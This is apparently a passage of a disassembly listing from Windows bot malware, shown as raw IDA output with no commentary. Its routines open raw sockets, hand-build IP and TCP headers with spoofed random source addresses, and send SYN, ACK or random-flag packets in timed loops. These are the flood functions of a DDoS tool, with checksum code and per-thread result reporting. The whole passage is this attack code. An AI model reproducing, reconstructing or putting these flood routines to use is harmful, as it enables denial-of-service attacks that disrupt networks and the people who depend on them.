loc_413784: ; CODE XREF: sub_4136C6+3Ej
xor eax, eax
leave
retn
sub_4136C6 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_413788(int,char *Str,int)
sub_413788 proc near ; CODE XREF: sub_413627+3Cp
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AAFA
push [esp+10h+Str] ; Str
mov edi, eax
call _atoi
push [esp+14h+arg_8] ; Str
mov ebx, eax
call _atoi
mov esi, eax
push esi
push ebx
push edi
call sub_4136C6
add esp, 18h
test eax, eax
jnz short loc_4137BE
push 1
pop eax
loc_4137BE: ; CODE XREF: sub_413788+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_413788 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4137CD proc near ; DATA XREF: sub_401ACD+644Ao
Dest = byte ptr -414h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_190 = byte ptr -190h
var_110 = dword ptr -110h
Str = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax ; int
lea eax, [ebp+var_190]
push eax ; Str
lea eax, [ebp+var_210]
push eax ; int
call sub_413B1E
add esp, 0Ch
push eax
lea eax, [ebp+Dest]
push offset asc_436414 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_41384D
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_409A73
add esp, 14h
loc_41384D: ; CODE XREF: sub_4137CD+5Ej
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_10]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
sub_4137CD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41386C proc near ; CODE XREF: sub_413B1E+3Cp
var_284 = byte ptr -284h
Dest = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
Src = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
Dst = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB5C4 ; WSAStartup
test eax, eax
jz short loc_4138AC
xor eax, eax
jmp loc_413B1A
; ---------------------------------------------------------------------------
loc_4138AC: ; CODE XREF: sub_41386C+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CB6F8 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_413B12
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CB634 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_413B08
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_8]
call dword_4CB654 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CB654 ; htons
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CB654 ; htons
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CB654 ; htons
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call ds:dword_427134 ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call ds:dword_427130 ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call __allmul
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_413997: ; CODE XREF: sub_41386C+25Dj
; sub_41386C+26Bj
mov [ebp+var_24], bx
call _rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB654 ; htons
mov [ebp+var_34], ax
call _rand
mov edi, eax
shl edi, 10h
call _rand
or edi, eax
push edi
call dword_4CB654 ; htons
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB650 ; htonl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB654 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+Src], eax
lea eax, [ebp+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_34]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_94]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AC69
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_34]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_8C]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AC69
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CB6B8 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_413ADC
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call ds:dword_427130 ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_413B05
jl loc_413997
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_413B05
jmp loc_413997
; ---------------------------------------------------------------------------
loc_413ADC: ; CODE XREF: sub_41386C+247j
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_43643C ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_4151AD
add esp, 10h
jmp short loc_413B08
; ---------------------------------------------------------------------------
loc_413B05: ; CODE XREF: sub_41386C+25Bj
; sub_41386C+269j
mov ebx, [ebp+arg_8]
loc_413B08: ; CODE XREF: sub_41386C+78j
; sub_41386C+297j
push [ebp+var_C]
call dword_4CB6EC ; closesocket
pop esi
loc_413B12: ; CODE XREF: sub_41386C+5Bj
call dword_4CB5AC ; WSACleanup
mov eax, ebx
loc_413B1A: ; CODE XREF: sub_41386C+3Bj
pop edi
pop ebx
leave
retn
sub_41386C endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_413B1E(int,char *Str,int)
sub_413B1E proc near ; CODE XREF: sub_4137CD+3Cp
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AAFA
push [esp+10h+Str] ; Str
mov esi, eax
call _atoi
push [esp+14h+arg_8] ; Str
mov ebx, eax
call _atoi
mov edi, eax
call _rand
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_41386C
add esp, 1Ch
test eax, eax
jnz short loc_413B69
push 1
pop eax
loc_413B69: ; CODE XREF: sub_413B1E+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_413B1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413B78 proc near ; DATA XREF: sub_401ACD+6E45o
Dest = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
Str = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+Str]
push eax ; Str
call _atoi
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4CB694 ; inet_addr
push eax
call sub_413C1B
pop ecx
pop ecx
push eax
lea eax, [ebp+Dest]
push offset asc_43645C ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_413BFC
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_90]
push eax ; Str
push [ebp+var_194] ; int
call sub_409A73
add esp, 14h
loc_413BFC: ; CODE XREF: sub_413B78+62j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_10]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
sub_413B78 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413C1B proc near ; CODE XREF: sub_413B78+41p
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
Src = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Dst = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 98h
push ebx
push esi
push edi
push 1
pop ecx
and [ebp+var_88], 0
push 4
and [ebp+var_58], 0
pop esi
mov ebx, 0FFh
push 6
xor eax, eax
pop edx
lea edi, [ebp+var_54]
mov [ebp+var_84], ecx
mov [ebp+var_80], 2
mov [ebp+var_7C], esi
mov [ebp+var_78], edx
mov [ebp+var_74], 8
mov [ebp+var_70], 0Ch
mov [ebp+var_6C], 11h
mov [ebp+var_68], 16h
mov [ebp+var_64], 29h
mov [ebp+var_60], 3Ah
mov [ebp+var_5C], ebx
mov [ebp+var_50], eax
stosd
lea edi, [ebp+var_2C]
mov [ebp+var_4C], eax
mov [ebp+var_48], eax
mov [ebp+var_44], 2000h
mov [ebp+var_40], esi
mov [ebp+var_3C], edx
mov [ebp+var_38], 3FFFh
mov [ebp+var_34], ecx
mov [ebp+var_30], eax
mov [ebp+var_28], ecx
stosd
mov edi, 100h
push edi ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov [ebp+var_4], eax
push edi
push eax
call dword_4CB668 ; gethostname
push [ebp+var_4]
call dword_4CB6D8 ; gethostbyname
mov eax, [eax+0Ch]
push ebx
push 3
push 2
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_C], eax
call dword_4CB6D4 ; socket
lea ecx, [ebp+var_28]
push esi
push ecx
push 2
push 0
push eax
mov [ebp+var_4], eax
call dword_4CB634 ; setsockopt
mov esi, 200h
push esi ; Size
call _malloc
mov edi, ds:dword_4270A8
pop ecx
mov [ebp+Dst], eax
call edi ; GetTickCount
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
push 29Ah
mov [ebp+var_94], eax
mov [ebp+var_98], 2
call dword_4CB654 ; htons
mov [ebp+var_96], ax
loc_413D36: ; CODE XREF: sub_413C1B+1FCj
call edi ; GetTickCount
sub eax, [ebp+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja loc_413E1C
call _rand
cdq
mov ecx, ebx
idiv ecx
mov eax, [ebp+var_C]
and eax, 0FFFFFFh
shl edx, 18h
or edx, eax
mov [ebp+var_C], edx
call _rand
cdq
mov ecx, ebx
idiv ecx
mov [ebp+var_54], edx
call _rand
cdq
mov ecx, 1FA4h
mov [ebp+Src], 45h
idiv ecx
mov [ebp+var_23], 4
mov [ebp+var_2C], edx
call _rand
mov [ebp+var_20], ax
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
mov ax, word ptr [ebp+edx*4+var_50]
push eax
call dword_4CB654 ; htons
push esi
mov [ebp+var_1E], ax
call dword_4CB654 ; htons
mov [ebp+var_22], ax
mov [ebp+var_1C], bl
call _rand
push 0Eh
cdq
pop ecx
idiv ecx
push 14h
mov al, byte ptr [ebp+edx*4+var_88]
mov [ebp+var_1B], al
mov eax, [ebp+var_C]
mov [ebp+var_18], eax
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
lea eax, [ebp+Src]
push eax
call sub_40AC69
mov [ebp+var_1A], ax
lea eax, [ebp+Src]
push 14h ; Size
push eax ; Src
push [ebp+Dst] ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+var_98]
push 10h
push eax
push 0
push esi
push [ebp+Dst]
push [ebp+var_4]
call dword_4CB6B8 ; sendto
jmp loc_413D36
; ---------------------------------------------------------------------------
loc_413E1C: ; CODE XREF: sub_413C1B+12Cj
push [ebp+Dst]
call sub_41B0B1
pop ecx
push [ebp+var_4]
call dword_4CB6EC ; closesocket
push 1
pop eax
pop edi
pop esi
pop ebx
leave
retn
sub_413C1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413E36 proc near ; DATA XREF: sub_401ACD+53E9o
Dest = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
Str = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
Src = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
Dst = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, ds:dword_4270A8
call edi ; GetTickCount
push eax
call sub_41B8D8
pop ecx
push 0FFh
push 3
push 2
call dword_4CB6D4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_413EFF
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_436574 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_413EDF
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_409A73
add esp, 14h
loc_413EDF: ; CODE XREF: sub_413E36+84j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_BC]
call sub_40B413
pop ecx
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_413EFF: ; CODE XREF: sub_413E36+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_4CB634 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_413F7D
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_43653C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_413F5D
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_409A73
add esp, 14h
loc_413F5D: ; CODE XREF: sub_413E36+102j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_BC]
call sub_40B413
pop ecx
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_413F7D: ; CODE XREF: sub_413E36+DFj
lea eax, [ebp+var_23C]
push eax
call dword_4CB694 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_413FED
lea eax, [ebp+Dest]
push offset asc_43651C ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_413FCD
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_409A73
add esp, 14h
loc_413FCD: ; CODE XREF: sub_413E36+172j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_BC]
call sub_40B413
pop ecx
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_413FED: ; CODE XREF: sub_413E36+157j
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push ebx
call dword_4CB654 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_4CB694 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
loc_414025: ; CODE XREF: sub_413E36+430j
call edi ; GetTickCount
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja loc_4142E9
push 28h
mov [ebp+var_2C], 45h
call dword_4CB654 ; htons
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_414098
call _rand
mov esi, eax
shl esi, 8
call _rand
add esi, eax
shl esi, 8
call _rand
add esi, eax
shl esi, 8
call _rand
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_4140AE
; ---------------------------------------------------------------------------
loc_414098: ; CODE XREF: sub_413E36+233j
push [ebp+var_240]
call sub_40AC10
pop ecx
push eax
call dword_4CB694 ; inet_addr
mov [ebp+var_20], eax
loc_4140AE: ; CODE XREF: sub_413E36+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_4140CC
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_4140D2
; ---------------------------------------------------------------------------
loc_4140CC: ; CODE XREF: sub_413E36+284j
push [ebp+var_B8]
loc_4140D2: ; CODE XREF: sub_413E36+294j
call dword_4CB654 ; htons
mov [ebp+var_16], ax
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB654 ; htons
push 12345678h
mov [ebp+var_18], ax
call dword_4CB650 ; htonl
mov [ebp+var_14], eax
lea eax, [ebp+Str]
push offset aSyn ; "syn"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_414122
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_41417E
; ---------------------------------------------------------------------------
loc_414122: ; CODE XREF: sub_413E36+2E1j
lea eax, [ebp+Str]
push offset aAck ; "ack"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_414142
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_41417E
; ---------------------------------------------------------------------------
loc_414142: ; CODE XREF: sub_413E36+301j
lea eax, [ebp+Str]
push offset aRandom_0 ; "random"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_41417E
call _rand
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call _rand
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_41417E: ; CODE XREF: sub_413E36+2EAj
; sub_413E36+30Aj ...
push 200h
mov [ebp+var_C], 50h
call dword_4CB654 ; htons
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+Src], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_4CB654 ; htons
mov [ebp+var_5A], ax
lea eax, [ebp+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_18]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_80]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40AC69
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_18]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_8C]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_78]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40AC69
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_4CB6B8 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_41426B
inc [ebp+arg_0]
jmp loc_414025
; ---------------------------------------------------------------------------
loc_41426B: ; CODE XREF: sub_413E36+42Bj
push [ebp+var_4]
call dword_4CB6EC ; closesocket
call dword_4CB5E8 ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset asc_4364CC ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_4142C9
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_409A73
add esp, 14h
loc_4142C9: ; CODE XREF: sub_413E36+46Ej
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_BC]
call sub_40B413
pop ecx
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_4142E9: ; CODE XREF: sub_413E36+203j
push [ebp+var_4]
call dword_4CB6EC ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset asc_43647C ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_41435A
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_409A73
add esp, 14h
loc_41435A: ; CODE XREF: sub_413E36+4FFj
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_BC]
call sub_40B413
pop ecx
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
sub_413E36 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41437A proc near ; CODE XREF: sub_414484+19Ap
; sub_414484+1A9p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
mov edx, [ebp+arg_0]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+arg_4], esi
jle short loc_4143A6
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414398: ; CODE XREF: sub_41437A+26j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_414398
pop edi
cmp eax, 1
loc_4143A6: ; CODE XREF: sub_41437A+12j
jnz short loc_4143B3
mov al, [edx]
mov byte ptr [ebp+arg_4], al
movzx eax, word ptr [ebp+arg_4]
add esi, eax
loc_4143B3: ; CODE XREF: sub_41437A:loc_4143A6j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
sub_41437A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143CC proc near ; DATA XREF: sub_401ACD+6D4Ao
Dest = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
Str = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+Str]
push eax ; Str
call _atoi
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4CB694 ; inet_addr
push eax
lea esi, [ebp+var_194]
sub esp, 194h
push 65h
pop ecx
mov edi, esp
rep movsd
call sub_414484
add esp, 19Ch
push eax
lea eax, [ebp+Dest]
push offset asc_4365A8 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414467
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_90]
push eax ; Str
push [ebp+var_194] ; int
call sub_409A73
add esp, 14h
loc_414467: ; CODE XREF: sub_4143CC+79j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_10]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
sub_4143CC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414484 proc near ; CODE XREF: sub_4143CC+54p
Dest = byte ptr -0CCh
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
